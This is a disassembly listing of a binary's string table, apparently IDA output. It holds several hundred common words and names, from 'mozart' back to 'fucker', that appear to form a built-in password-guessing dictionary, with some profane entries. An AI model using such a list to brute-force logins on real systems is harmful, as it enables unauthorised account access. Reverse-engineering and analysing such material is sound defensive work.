aMozart		db 'mozart',0           ; DATA XREF: seg001:0042D474o
		align 4
aMovies		db 'movies',0           ; DATA XREF: seg001:0042D470o
		align 10h
aMovie		db 'movie',0            ; DATA XREF: seg001:0042D46Co
		align 4
aMove		db 'move',0             ; DATA XREF: seg001:0042D468o
		align 10h
aMouse		db 'mouse',0            ; DATA XREF: seg001:0042D464o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: seg001:0042D460o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: seg001:0042D45Co
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: seg001:0042D458o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: seg001:0042D454o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: seg001:0042D450o
		align 4
aMorris		db 'morris',0           ; DATA XREF: seg001:0042D44Co
		align 4
aMorley		db 'morley',0           ; DATA XREF: seg001:0042D448o
		align 4
aMore		db 'more',0             ; DATA XREF: seg001:0042D444o
		align 4
aMoose		db 'moose',0            ; DATA XREF: seg001:0042D440o
		align 4
aMoor		db 'moor',0             ; DATA XREF: seg001:0042D43Co
		align 4
aMoom		db 'moom',0             ; DATA XREF: seg001:0042D438o
		align 4
aMonica		db 'monica',0           ; DATA XREF: seg001:0042D434o
		align 4
aMonday		db 'monday',0           ; DATA XREF: seg001:0042D430o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: seg001:0042D42Co
		align 4
aMogul		db 'mogul',0            ; DATA XREF: seg001:0042D428o
		align 4
aModem		db 'modem',0            ; DATA XREF: seg001:0042D424o
		align 4
aMode		db 'mode',0             ; DATA XREF: seg001:0042D420o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: seg001:0042D41Co
		align 4
aMission	db 'mission',0          ; DATA XREF: seg001:0042D418o
aMisfit		db 'misfit',0           ; DATA XREF: seg001:0042D414o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: seg001:0042D410o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: seg001:0042D40Co
aMine		db 'mine',0             ; DATA XREF: seg001:0042D408o
		align 4
aMike		db 'mike',0             ; DATA XREF: seg001:0042D404o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: seg001:0042D400o
		align 10h
aMicrosof	db 'microsof',0         ; DATA XREF: seg001:0042D3FCo
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: seg001:0042D3F8o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: seg001:0042D3F4o
		align 4
aMicro		db 'micro',0            ; DATA XREF: seg001:0042D3F0o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: seg001:0042D3ECo
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: seg001:0042D3E8o
		align 10h
aMichele	db 'michele',0          ; DATA XREF: seg001:0042D3E4o
aMichelan	db 'michelan',0         ; DATA XREF: seg001:0042D3E0o
		align 4
aMichel		db 'michel',0           ; DATA XREF: seg001:0042D3DCo
		align 4
aMichael	db 'michael',0          ; DATA XREF: seg001:0042D3D8o
aMice		db 'mice',0             ; DATA XREF: seg001:0042D3D4o
		align 4
aMets		db 'mets',0             ; DATA XREF: seg001:0042D3D0o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: seg001:0042D3CCo
		align 10h
aMetalhea	db 'metalhea',0         ; DATA XREF: seg001:0042D3C8o
		align 4
aMetal		db 'metal',0            ; DATA XREF: seg001:0042D3C4o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: seg001:0042D3C0o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: seg001:0042D3BCo
aMenu		db 'menu',0             ; DATA XREF: seg001:0042D3B8o
		align 4
aMenace		db 'menace',0           ; DATA XREF: seg001:0042D3B4o
		align 4
aMemory		db 'memory',0           ; DATA XREF: seg001:0042D3B0o
		align 4
aMember		db 'member',0           ; DATA XREF: seg001:0042D3ACo
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: seg001:0042D3A8o
aMellon		db 'mellon',0           ; DATA XREF: seg001:0042D3A4o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: seg001:0042D3A0o
aMegan		db 'megan',0            ; DATA XREF: seg001:0042D39Co
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: seg001:0042D398o
		align 10h
aMegabyte	db 'megabyte',0         ; DATA XREF: seg001:0042D394o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: seg001:0042D390o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: seg001:0042D38Co
aMath		db 'math',0             ; DATA XREF: seg001:0042D388o
		align 4
aMaster		db 'master',0           ; DATA XREF: seg001:0042D384o
		align 4
aMason		db 'mason',0            ; DATA XREF: seg001:0042D380o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg001:0042D37Co
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: seg001:0042D378o
		align 4
aMarty		db 'marty',0            ; DATA XREF: seg001:0042D374o
		align 4
aMars		db 'mars',0             ; DATA XREF: seg001:0042D370o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: seg001:0042D36Co
		align 10h
aMarni		db 'marni',0            ; DATA XREF: seg001:0042D368o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: seg001:0042D364o
		align 10h
aMark		db 'mark',0             ; DATA XREF: seg001:0042D360o
		align 4
aMarines	db 'marines',0          ; DATA XREF: seg001:0042D35Co
aMarijuan	db 'marijuan',0         ; DATA XREF: seg001:0042D358o
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: seg001:0042D354o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: seg001:0042D350o
aMaria		db 'maria',0            ; DATA XREF: seg001:0042D34Co
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: seg001:0042D348o
		align 10h
aMarci		db 'marci',0            ; DATA XREF: seg001:0042D344o
		align 4
aMara		db 'mara',0             ; DATA XREF: seg001:0042D340o
		align 10h
aManager	db 'manager',0          ; DATA XREF: seg001:0042D33Co
aMana		db 'mana',0             ; DATA XREF: seg001:0042D338o
		align 10h
aMalcom		db 'malcom',0           ; DATA XREF: seg001:0042D334o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: seg001:0042D330o
aMaint		db 'maint',0            ; DATA XREF: seg001:0042D32Co
		align 4
aMail		db 'mail',0             ; DATA XREF: seg001:0042D328o
		align 10h
aMagnet		db 'magnet',0           ; DATA XREF: seg001:0042D324o
		align 4
aMagic		db 'magic',0            ; DATA XREF: seg001:0042D320o
		align 10h
aMaggot		db 'maggot',0           ; DATA XREF: seg001:0042D31Co
		align 4
aMacro		db 'macro',0            ; DATA XREF: seg001:0042D318o
		align 10h
aMack		db 'mack',0             ; DATA XREF: seg001:0042D314o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: seg001:0042D310o
		align 4
aMachine	db 'machine',0          ; DATA XREF: seg001:0042D30Co
aLynne		db 'lynne',0            ; DATA XREF: seg001:0042D308o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: seg001:0042D304o
		align 4
aLust		db 'lust',0             ; DATA XREF: seg001:0042D300o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg001:0042D2FCo
		align 4
aLude		db 'lude',0             ; DATA XREF: seg001:0042D2F8o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: seg001:0042D2F4o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: seg001:0042D2F0o
		align 4
aLuck		db 'luck',0             ; DATA XREF: seg001:0042D2ECo
		align 4
aLover		db 'lover',0            ; DATA XREF: seg001:0042D2E8o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: seg001:0042D2E4o
aLouis		db 'louis',0            ; DATA XREF: seg001:0042D2E0o
		align 4
aLoser		db 'loser',0            ; DATA XREF: seg001:0042D2DCo
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: seg001:0042D2D8o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: seg001:0042D2D4o
		align 10h
aLori		db 'lori',0             ; DATA XREF: seg001:0042D2D0o
		align 4
aLore		db 'lore',0             ; DATA XREF: seg001:0042D2CCo
		align 10h
aLoose		db 'loose',0            ; DATA XREF: seg001:0042D2C8o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: seg001:0042D2C4o
		align 10h
aLois		db 'lois',0             ; DATA XREF: seg001:0042D2C0o
		align 4
aLogout		db 'logout',0           ; DATA XREF: seg001:0042D2BCo
		align 10h
aLoginwor	db 'loginwor',0         ; DATA XREF: seg001:0042D2B8o
		align 4
aLogic		db 'logic',0            ; DATA XREF: seg001:0042D2B4o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: seg001:0042D2B0o
		align 10h
aLockout	db 'lockout',0          ; DATA XREF: seg001:0042D2ACo
aLock		db 'lock',0             ; DATA XREF: seg001:0042D2A8o
		align 10h
aLoad		db 'load',0             ; DATA XREF: seg001:0042D2A4o
		align 4
aLive		db 'live',0             ; DATA XREF: seg001:0042D2A0o
		align 10h
aLiteratu	db 'literatu',0         ; DATA XREF: seg001:0042D29Co
		align 4
aLisp		db 'lisp',0             ; DATA XREF: seg001:0042D298o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: seg001:0042D294o
		align 4
aLips		db 'lips',0             ; DATA XREF: seg001:0042D290o
		align 4
aLion		db 'lion',0             ; DATA XREF: seg001:0042D28Co
		align 4
aLink		db 'link',0             ; DATA XREF: seg001:0042D288o
		align 4
aLinda		db 'linda',0            ; DATA XREF: seg001:0042D284o
		align 4
aLimited	db 'limited',0          ; DATA XREF: seg001:0042D280o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg001:0042D27Co
		align 10h
aLima		db 'lima',0             ; DATA XREF: seg001:0042D278o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: seg001:0042D274o
		align 4
aLight		db 'light',0            ; DATA XREF: seg001:0042D270o
		align 4
aLife		db 'life',0             ; DATA XREF: seg001:0042D26Co
		align 4
aLicker		db 'licker',0           ; DATA XREF: seg001:0042D268o
		align 4
aLick		db 'lick',0             ; DATA XREF: seg001:0042D264o
		align 4
aLibrary	db 'library',0          ; DATA XREF: seg001:0042D260o
aLiberal	db 'liberal',0          ; DATA XREF: seg001:0042D25Co
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg001:0042D258o
		align 10h
aLewis		db 'lewis',0            ; DATA XREF: seg001:0042D254o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: seg001:0042D250o
aLeslie		db 'leslie',0           ; DATA XREF: seg001:0042D24Co
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: seg001:0042D248o
aLeroy		db 'leroy',0            ; DATA XREF: seg001:0042D244o
		align 4
aLeland		db 'leland',0           ; DATA XREF: seg001:0042D240o
		align 10h
aLegal		db 'legal',0            ; DATA XREF: seg001:0042D23Co
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: seg001:0042D238o
		align 4
aLeft		db 'left',0             ; DATA XREF: seg001:0042D234o
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg001:0042D230o
		align 4
aLeah		db 'leah',0             ; DATA XREF: seg001:0042D22Co
		align 10h
aLazer		db 'lazer',0            ; DATA XREF: seg001:0042D228o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: seg001:0042D224o
aLava		db 'lava',0             ; DATA XREF: seg001:0042D220o
		align 4
aLaura		db 'laura',0            ; DATA XREF: seg001:0042D21Co
		align 10h
aLaser		db 'laser',0            ; DATA XREF: seg001:0042D218o
		align 4
aLarry		db 'larry',0            ; DATA XREF: seg001:0042D214o
		align 10h
aLarkin		db 'larkin',0           ; DATA XREF: seg001:0042D210o
		align 4
aLara		db 'lara',0             ; DATA XREF: seg001:0042D20Co
		align 10h
aLaptop		db 'laptop',0           ; DATA XREF: seg001:0042D208o
		align 4
aLana		db 'lana',0             ; DATA XREF: seg001:0042D204o
		align 10h
aLaminati	db 'laminati',0         ; DATA XREF: seg001:0042D200o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: seg001:0042D1FCo
		align 4
aLakers		db 'lakers',0           ; DATA XREF: seg001:0042D1F8o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: seg001:0042D1F4o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: seg001:0042D1F0o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: seg001:0042D1ECo
		align 4
aKristine	db 'kristine',0         ; DATA XREF: seg001:0042D1E8o
		align 10h
aKristin	db 'kristin',0          ; DATA XREF: seg001:0042D1E4o
aKristie	db 'kristie',0          ; DATA XREF: seg001:0042D1E0o
aKristi		db 'kristi',0           ; DATA XREF: seg001:0042D1DCo
		align 4
aKristen	db 'kristen',0          ; DATA XREF: seg001:0042D1D8o
aKrista		db 'krista',0           ; DATA XREF: seg001:0042D1D4o
		align 4
aKnown		db 'known',0            ; DATA XREF: seg001:0042D1D0o
		align 10h
aKnightma	db 'knightma',0         ; DATA XREF: seg001:0042D1CCo
		align 4
aKnight		db 'knight',0           ; DATA XREF: seg001:0042D1C8o
		align 4
aKnife		db 'knife',0            ; DATA XREF: seg001:0042D1C4o
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: seg001:0042D1C0o
aKitten		db 'kitten',0           ; DATA XREF: seg001:0042D1BCo
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: seg001:0042D1B8o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: seg001:0042D1B4o
		align 10h
aKirkland	db 'kirkland',0         ; DATA XREF: seg001:0042D1B0o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: seg001:0042D1ACo
		align 4
aKing		db 'king',0             ; DATA XREF: seg001:0042D1A8o
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: seg001:0042D1A4o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: seg001:0042D1A0o
		align 10h
aKillthem	db 'killthem',0         ; DATA XREF: seg001:0042D19Co
		align 4
aKill		db 'kill',0             ; DATA XREF: seg001:0042D198o
		align 4
aKids		db 'kids',0             ; DATA XREF: seg001:0042D194o
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: seg001:0042D190o
aKeyin		db 'keyin',0            ; DATA XREF: seg001:0042D18Co
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: seg001:0042D188o
aKewl		db 'kewl',0             ; DATA XREF: seg001:0042D184o
		align 4
aKevin		db 'kevin',0            ; DATA XREF: seg001:0042D180o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: seg001:0042D17Co
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: seg001:0042D178o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: seg001:0042D174o
		align 4
aKernel		db 'kernel',0           ; DATA XREF: seg001:0042D170o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg001:0042D16Co
		align 4
aKeri		db 'keri',0             ; DATA XREF: seg001:0042D168o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: seg001:0042D164o
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: seg001:0042D160o
aKatina		db 'katina',0           ; DATA XREF: seg001:0042D15Co
		align 4
aKathy		db 'kathy',0            ; DATA XREF: seg001:0042D158o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: seg001:0042D154o
		align 10h
aKathleen	db 'kathleen',0         ; DATA XREF: seg001:0042D150o
		align 4
aKate		db 'kate',0             ; DATA XREF: seg001:0042D14Co
		align 4
aKatana		db 'katana',0           ; DATA XREF: seg001:0042D148o
		align 4
aKarina		db 'karina',0           ; DATA XREF: seg001:0042D144o
		align 4
aKarie		db 'karie',0            ; DATA XREF: seg001:0042D140o
		align 4
aKaren		db 'karen',0            ; DATA XREF: seg001:0042D13Co
		align 4
aKaka		db 'kaka',0             ; DATA XREF: seg001:0042D138o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: seg001:0042D134o
aJune		db 'june',0             ; DATA XREF: seg001:0042D130o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: seg001:0042D12Co
		align 4
aJulie		db 'julie',0            ; DATA XREF: seg001:0042D128o
		align 4
aJulia		db 'julia',0            ; DATA XREF: seg001:0042D124o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: seg001:0042D120o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: seg001:0042D11Co
		align 4
aJudy		db 'judy',0             ; DATA XREF: seg001:0042D118o
		align 4
aJudith		db 'judith',0           ; DATA XREF: seg001:0042D114o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: seg001:0042D110o
		align 4
aJournal	db 'journal',0          ; DATA XREF: seg001:0042D10Co
aJoshua		db 'joshua',0           ; DATA XREF: seg001:0042D108o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: seg001:0042D104o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: seg001:0042D100o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: seg001:0042D0FCo
aJohn		db 'john',0             ; DATA XREF: seg001:0042D0F8o
		align 4
aJody		db 'jody',0             ; DATA XREF: seg001:0042D0F4o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: seg001:0042D0F0o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: seg001:0042D0ECo
		align 4
aJill		db 'jill',0             ; DATA XREF: seg001:0042D0E8o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: seg001:0042D0E4o
aJester		db 'jester',0           ; DATA XREF: seg001:0042D0E0o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: seg001:0042D0DCo
aJerusale	db 'jerusale',0         ; DATA XREF: seg001:0042D0D8o
		align 10h
aJerry		db 'jerry',0            ; DATA XREF: seg001:0042D0D4o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: seg001:0042D0D0o
		align 10h
aJennifer	db 'jennifer',0         ; DATA XREF: seg001:0042D0CCo
		align 4
aJenni		db 'jenni',0            ; DATA XREF: seg001:0042D0C8o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: seg001:0042D0C4o
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: seg001:0042D0C0o
		align 4
aJean		db 'jean',0             ; DATA XREF: seg001:0042D0BCo
		align 4
aJazz		db 'jazz',0             ; DATA XREF: seg001:0042D0B8o
		align 4
aJava		db 'java',0             ; DATA XREF: seg001:0042D0B4o
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: seg001:0042D0B0o
		align 4
aJapan		db 'japan',0            ; DATA XREF: seg001:0042D0ACo
		align 4
aJanie		db 'janie',0            ; DATA XREF: seg001:0042D0A8o
		align 4
aJanice		db 'janice',0           ; DATA XREF: seg001:0042D0A4o
		align 4
aJanet		db 'janet',0            ; DATA XREF: seg001:0042D0A0o
		align 4
aJane		db 'jane',0             ; DATA XREF: seg001:0042D09Co
		align 4
aJail		db 'jail',0             ; DATA XREF: seg001:0042D098o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: seg001:0042D094o
		align 4
aIsis		db 'isis',0             ; DATA XREF: seg001:0042D090o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: seg001:0042D08Co
		align 10h
aIrene		db 'irene',0            ; DATA XREF: seg001:0042D088o
		align 4
aInvent		db 'invent',0           ; DATA XREF: seg001:0042D084o
		align 10h
aInteger	db 'integer',0          ; DATA XREF: seg001:0042D080o
aInside		db 'inside',0           ; DATA XREF: seg001:0042D07Co
		align 10h
aInput		db 'input',0            ; DATA XREF: seg001:0042D078o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: seg001:0042D074o
		align 4
aInna		db 'inna',0             ; DATA XREF: seg001:0042D070o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: seg001:0042D06Co
		align 4
aIngress	db 'ingress',0          ; DATA XREF: seg001:0042D068o
aIngres		db 'ingres',0           ; DATA XREF: seg001:0042D064o
		align 4
aIndians	db 'indians',0          ; DATA XREF: seg001:0042D060o
aIndiana	db 'indiana',0          ; DATA XREF: seg001:0042D05Co
aIndian		db 'indian',0           ; DATA XREF: seg001:0042D058o
		align 4
aIndia		db 'india',0            ; DATA XREF: seg001:0042D054o
		align 4
aInclude	db 'include',0          ; DATA XREF: seg001:0042D050o
aImperial	db 'imperial',0         ; DATA XREF: seg001:0042D04Co
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: seg001:0042D048o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg001:0042D044o
		align 10h
aImage		db 'image',0            ; DATA XREF: seg001:0042D040o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: seg001:0042D03Co
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: seg001:0042D038o
		align 10h
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg001:0042D034o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: seg001:0042D030o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg001:0042D02Co
		align 10h
aHutchins	db 'hutchins',0         ; DATA XREF: seg001:0042D028o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: seg001:0042D024o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: seg001:0042D020o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: seg001:0042D01Co
		align 4
aHotel		db 'hotel',0            ; DATA XREF: seg001:0042D018o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: seg001:0042D014o
		align 4
aHost		db 'host',0             ; DATA XREF: seg001:0042D010o
		align 4
aHorus		db 'horus',0            ; DATA XREF: seg001:0042D00Co
		align 4
aHorse		db 'horse',0            ; DATA XREF: seg001:0042D008o
		align 4
aHorror		db 'horror',0           ; DATA XREF: seg001:0042D004o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: seg001:0042D000o
		align 10h
aHorny		db 'horny',0            ; DATA XREF: seg001:0042CFFCo
		align 4
aHooters	db 'hooters',0          ; DATA XREF: seg001:0042CFF8o
aHooker		db 'hooker',0           ; DATA XREF: seg001:0042CFF4o
		align 4
aHoney		db 'honey',0            ; DATA XREF: seg001:0042CFF0o
		align 10h
aHomework	db 'homework',0         ; DATA XREF: seg001:0042CFECo
		align 4
aHomer		db 'homer',0            ; DATA XREF: seg001:0042CFE8o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: seg001:0042CFE4o
		align 10h
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg001:0042CFE0o
		align 4
aHolly		db 'holly',0            ; DATA XREF: seg001:0042CFDCo
		align 4
aHole		db 'hole',0             ; DATA XREF: seg001:0042CFD8o
		align 4
aHits		db 'hits',0             ; DATA XREF: seg001:0042CFD4o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: seg001:0042CFD0o
		align 4
aHighland	db 'highland',0         ; DATA XREF: seg001:0042CFCCo
		align 4
aHigh		db 'high',0             ; DATA XREF: seg001:0042CFC8o
		align 10h
aHidden		db 'hidden',0           ; DATA XREF: seg001:0042CFC4o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: seg001:0042CFC0o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg001:0042CFBCo
		align 10h
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg001:0042CFB8o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: seg001:0042CFB4o
aHeroin		db 'heroin',0           ; DATA XREF: seg001:0042CFB0o
		align 4
aHero		db 'hero',0             ; DATA XREF: seg001:0042CFACo
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: seg001:0042CFA8o
aHerb		db 'herb',0             ; DATA XREF: seg001:0042CFA4o
		align 4
aHelp		db 'help',0             ; DATA XREF: seg001:0042CFA0o
		align 4
aHello		db 'hello',0            ; DATA XREF: seg001:0042CF9Co
		align 4
aHell		db 'hell',0             ; DATA XREF: seg001:0042CF98o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: seg001:0042CF94o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: seg001:0042CF90o
		align 10h
aHebrides	db 'hebrides',0         ; DATA XREF: seg001:0042CF8Co
		align 4
aHeather	db 'heather',0          ; DATA XREF: seg001:0042CF88o
aHeathen	db 'heathen',0          ; DATA XREF: seg001:0042CF84o
aHeat		db 'heat',0             ; DATA XREF: seg001:0042CF80o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: seg001:0042CF7Co
		align 10h
aHead		db 'head',0             ; DATA XREF: seg001:0042CF78o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: seg001:0042CF74o
		align 10h
aHaven		db 'haven',0            ; DATA XREF: seg001:0042CF70o
		align 4
aHate		db 'hate',0             ; DATA XREF: seg001:0042CF6Co
		align 10h
aHarvey		db 'harvey',0           ; DATA XREF: seg001:0042CF68o
		align 4
aHarold		db 'harold',0           ; DATA XREF: seg001:0042CF64o
		align 10h
aHarmony	db 'harmony',0          ; DATA XREF: seg001:0042CF60o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg001:0042CF5Co
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: seg001:0042CF58o
		align 10h
aHard		db 'hard',0             ; DATA XREF: seg001:0042CF54o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: seg001:0042CF50o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: seg001:0042CF4Co
aHandily	db 'handily',0          ; DATA XREF: seg001:0042CF48o
aHandel		db 'handel',0           ; DATA XREF: seg001:0042CF44o
		align 4
aHamster	db 'hamster',0          ; DATA XREF: seg001:0042CF40o
aHamlet		db 'hamlet',0           ; DATA XREF: seg001:0042CF3Co
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: seg001:0042CF38o
		align 4
aHair		db 'hair',0             ; DATA XREF: seg001:0042CF34o
		align 10h
aHagar		db 'hagar',0            ; DATA XREF: seg001:0042CF30o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: seg001:0042CF2Co
		align 10h
aHack		db 'hack',0             ; DATA XREF: seg001:0042CF28o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: seg001:0042CF24o
		align 10h
aGumption	db 'gumption',0         ; DATA XREF: seg001:0042CF20o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: seg001:0042CF1Co
		align 4
aGuess		db 'guess',0            ; DATA XREF: seg001:0042CF18o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: seg001:0042CF14o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: seg001:0042CF10o
		align 10h
aGryphon	db 'gryphon',0          ; DATA XREF: seg001:0042CF0Co
aGroup		db 'group',0            ; DATA XREF: seg001:0042CF08o
		align 10h
aGreen		db 'green',0            ; DATA XREF: seg001:0042CF04o
		align 4
aGreat		db 'great',0            ; DATA XREF: seg001:0042CF00o
		align 10h
aGrant		db 'grant',0            ; DATA XREF: seg001:0042CEFCo
		align 4
aGrand		db 'grand',0            ; DATA XREF: seg001:0042CEF8o
		align 10h
aGrahm		db 'grahm',0            ; DATA XREF: seg001:0042CEF4o
		align 4
aGraham		db 'graham',0           ; DATA XREF: seg001:0042CEF0o
		align 10h
aGrades		db 'grades',0           ; DATA XREF: seg001:0042CEECo
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: seg001:0042CEE8o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: seg001:0042CEE4o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: seg001:0042CEE0o
aGorges		db 'gorges',0           ; DATA XREF: seg001:0042CEDCo
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg001:0042CED8o
		align 4
aGood		db 'good',0             ; DATA XREF: seg001:0042CED4o
		align 10h
aGolfer		db 'golfer',0           ; DATA XREF: seg001:0042CED0o
		align 4
aGolf		db 'golf',0             ; DATA XREF: seg001:0042CECCo
		align 10h
aGolden		db 'golden',0           ; DATA XREF: seg001:0042CEC8o
		align 4
aGold		db 'gold',0             ; DATA XREF: seg001:0042CEC4o
		align 10h
aGlacier	db 'glacier',0          ; DATA XREF: seg001:0042CEC0o
aGirl		db 'girl',0             ; DATA XREF: seg001:0042CEBCo
		align 10h
aGinger		db 'ginger',0           ; DATA XREF: seg001:0042CEB8o
		align 4
aGina		db 'gina',0             ; DATA XREF: seg001:0042CEB4o
		align 10h
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg001:0042CEB0o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: seg001:0042CEACo
		align 4
aGhost		db 'ghost',0            ; DATA XREF: seg001:0042CEA8o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: seg001:0042CEA4o
		align 4
aGerm		db 'germ',0             ; DATA XREF: seg001:0042CEA0o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: seg001:0042CE9Co
		align 4
aGauss		db 'gauss',0            ; DATA XREF: seg001:0042CE98o
		align 10h
aGatt		db 'gatt',0             ; DATA XREF: seg001:0042CE94o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: seg001:0042CE90o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: seg001:0042CE8Co
aGarfield	db 'garfield',0         ; DATA XREF: seg001:0042CE88o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: seg001:0042CE84o
aGames		db 'games',0            ; DATA XREF: seg001:0042CE80o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: seg001:0042CE7Co
aFungible	db 'fungible',0         ; DATA XREF: seg001:0042CE78o
		align 4
aFunction	db 'function',0         ; DATA XREF: seg001:0042CE74o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: seg001:0042CE70o
		align 10h
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg001:0042CE6Co
aFuckme		db 'fuckme',0           ; DATA XREF: seg001:0042CE68o
		align 10h
aFucking	db 'fucking',0          ; DATA XREF: seg001:0042CE64o
aFucker		db 'fucker',0           ; DATA XREF: seg001:0042CE60o
		align 10h
